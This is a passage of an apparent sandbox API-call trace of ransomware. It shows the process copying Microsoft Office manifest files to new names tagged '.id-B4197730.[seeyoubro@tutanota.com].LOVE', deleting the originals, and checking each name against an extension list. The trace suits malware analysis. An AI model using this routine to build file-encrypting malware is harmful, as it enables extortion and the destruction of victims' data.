returned 0x360 [0203.912] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.912] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0203.912] GetLastError () returned 0x0 [0203.912] ReadFile (in: hFile=0x360, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0204.073] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0204.146] ReadFile (in: hFile=0x360, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x12a5e, lpOverlapped=0x0) returned 1 [0204.156] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x12a60, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x12a60, lpOverlapped=0x0) returned 1 [0204.160] ReadFile (in: hFile=0x360, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.160] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x13e, lpOverlapped=0x0) returned 1 [0204.161] SetEndOfFile (hFile=0x2c4) returned 1 [0204.572] CloseHandle (hObject=0x2c4) returned 1 [0204.590] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.590] SetEndOfFile (hFile=0x360) returned 1 [0204.591] CloseHandle (hObject=0x360) returned 1 [0204.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0204.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1 [0204.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0204.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0204.651] lstrlenW (lpString=".doc") returned 4 [0204.651] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.652] lstrlenW (lpString=".docx") returned 5 [0204.652] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.652] lstrlenW (lpString=".pdf") returned 4 [0204.652] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.652] lstrlenW (lpString=".xls") returned 4 [0204.652] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.652] lstrlenW (lpString=".xlsx") returned 5 [0204.652] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.652] lstrlenW (lpString=".ppt") returned 4 [0204.652] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0204.652] lstrlenW (lpString=".zip") returned 4 [0204.652] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.652] lstrlenW (lpString=".rar") returned 4 [0204.652] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.652] lstrlenW (lpString=".bz2") returned 4 [0204.652] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.652] lstrlenW (lpString=".7z") returned 3 [0204.652] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0204.652] lstrlenW (lpString=".dbf") returned 4 [0204.652] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0204.652] lstrlenW (lpString=".1cd") returned 4 [0204.652] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0204.652] lstrlenW (lpString=".jpg") returned 4 [0204.653] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0204.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0204.653] lstrlenW (lpString=".doc") returned 4 [0204.653] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.653] lstrlenW (lpString=".docx") returned 5 [0204.653] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.653] lstrlenW (lpString=".pdf") returned 4 [0204.653] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.653] lstrlenW (lpString=".xls") returned 4 [0204.653] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.653] lstrlenW (lpString=".xlsx") returned 5 [0204.653] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.653] lstrlenW (lpString=".ppt") returned 4 [0204.653] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0204.654] lstrlenW (lpString=".zip") returned 4 [0204.654] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.654] lstrlenW (lpString=".rar") returned 4 [0204.654] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.654] lstrlenW (lpString=".bz2") returned 4 [0204.654] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.654] lstrlenW (lpString=".7z") returned 3 [0204.654] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0204.654] lstrlenW (lpString=".dbf") returned 4 [0204.654] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0204.654] lstrlenW (lpString=".1cd") returned 4 [0204.654] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0204.654] lstrlenW (lpString=".jpg") returned 4 [0204.654] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.654] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0204.654] lstrlenW (lpString="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 53 [0204.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0204.655] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=1261) returned 1 [0204.655] CloseHandle (hObject=0x2c4) returned 1 [0204.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0204.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0204.655] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.655] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0204.656] GetLastError () returned 0x0 [0204.656] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0204.755] WriteFile (in: hFile=0x354, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0204.756] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.757] WriteFile (in: hFile=0x354, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x13e, lpOverlapped=0x0) returned 1 [0204.757] SetEndOfFile (hFile=0x354) returned 1 [0204.757] CloseHandle (hObject=0x354) returned 1 [0204.758] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.758] SetEndOfFile (hFile=0x2c4) returned 1 [0204.760] CloseHandle (hObject=0x2c4) returned 1 [0204.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0204.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1 [0204.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0204.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0204.761] lstrlenW (lpString=".doc") returned 4 [0204.761] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.761] lstrlenW (lpString=".docx") returned 5 [0204.761] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.761] lstrlenW (lpString=".pdf") returned 4 [0204.761] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.761] lstrlenW (lpString=".xls") returned 4 [0204.761] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.761] lstrlenW (lpString=".xlsx") returned 5 [0204.761] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.761] lstrlenW (lpString=".ppt") returned 4 [0204.761] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0204.761] lstrlenW (lpString=".zip") returned 4 [0204.761] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.761] lstrlenW (lpString=".rar") returned 4 [0204.761] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.762] lstrlenW (lpString=".bz2") returned 4 [0204.762] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.762] lstrlenW (lpString=".7z") returned 3 [0204.762] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0204.762] lstrlenW (lpString=".dbf") returned 4 [0204.762] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0204.762] lstrlenW (lpString=".1cd") returned 4 [0204.762] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0204.762] lstrlenW (lpString=".jpg") returned 4 [0204.762] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0204.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0204.763] lstrlenW (lpString=".doc") returned 4 [0204.763] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.763] lstrlenW (lpString=".docx") returned 5 [0204.763] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.763] lstrlenW (lpString=".pdf") returned 4 [0204.763] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.763] lstrlenW (lpString=".xls") returned 4 [0204.763] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.763] lstrlenW (lpString=".xlsx") returned 5 [0204.763] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.763] lstrlenW (lpString=".ppt") returned 4 [0204.763] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0204.763] lstrlenW (lpString=".zip") returned 4 [0204.763] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.763] lstrlenW (lpString=".rar") returned 4 [0204.764] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.764] lstrlenW (lpString=".bz2") returned 4 [0204.764] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.764] lstrlenW (lpString=".7z") returned 3 [0204.764] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0204.764] lstrlenW (lpString=".dbf") returned 4 [0204.764] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0204.764] lstrlenW (lpString=".1cd") returned 4 [0204.764] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0204.764] lstrlenW (lpString=".jpg") returned 4 [0204.764] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.764] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0204.764] lstrlenW (lpString="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 53 [0204.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0204.765] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=2147) returned 1 [0204.765] CloseHandle (hObject=0x2c4) returned 1 [0204.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220 [0204.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0204.765] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.765] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0204.766] GetLastError () returned 0x0 [0204.766] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x863, lpOverlapped=0x0) returned 1 [0204.775] WriteFile (in: hFile=0x354, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x870, lpOverlapped=0x0) returned 1 [0204.776] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.777] WriteFile (in: hFile=0x354, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x13e, lpOverlapped=0x0) returned 1 [0204.777] SetEndOfFile (hFile=0x354) returned 1 [0204.777] CloseHandle (hObject=0x354) returned 1 [0204.778] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.778] SetEndOfFile (hFile=0x2c4) returned 1 [0204.782] CloseHandle (hObject=0x2c4) returned 1 [0204.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0204.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1 [0204.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0204.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0204.783] lstrlenW (lpString=".doc") returned 4 [0204.783] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.783] lstrlenW (lpString=".docx") returned 5 [0204.783] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.783] lstrlenW (lpString=".pdf") returned 4 [0204.783] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.783] lstrlenW (lpString=".xls") returned 4 [0204.783] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.783] lstrlenW (lpString=".xlsx") returned 5 [0204.783] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.783] lstrlenW (lpString=".ppt") returned 4 [0204.783] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0204.783] lstrlenW (lpString=".zip") returned 4 [0204.783] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.783] lstrlenW (lpString=".rar") returned 4 [0204.783] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.783] lstrlenW (lpString=".bz2") returned 4 [0204.783] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.783] lstrlenW (lpString=".7z") returned 3 [0204.783] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0204.783] lstrlenW (lpString=".dbf") returned 4 [0204.783] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0204.784] lstrlenW (lpString=".1cd") returned 4 [0204.784] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0204.784] lstrlenW (lpString=".jpg") returned 4 [0204.784] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0204.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0204.784] lstrlenW (lpString=".doc") returned 4 [0204.784] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.784] lstrlenW (lpString=".docx") returned 5 [0204.784] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.784] lstrlenW (lpString=".pdf") returned 4 [0204.784] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.784] lstrlenW (lpString=".xls") returned 4 [0204.784] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.784] lstrlenW (lpString=".xlsx") returned 5 [0204.784] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.784] lstrlenW (lpString=".ppt") returned 4 [0204.784] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0204.784] lstrlenW (lpString=".zip") returned 4 [0204.785] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.785] lstrlenW (lpString=".rar") returned 4 [0204.785] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.785] lstrlenW (lpString=".bz2") returned 4 [0204.785] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.785] lstrlenW (lpString=".7z") returned 3 [0204.785] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0204.785] lstrlenW (lpString=".dbf") returned 4 [0204.785] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0204.785] 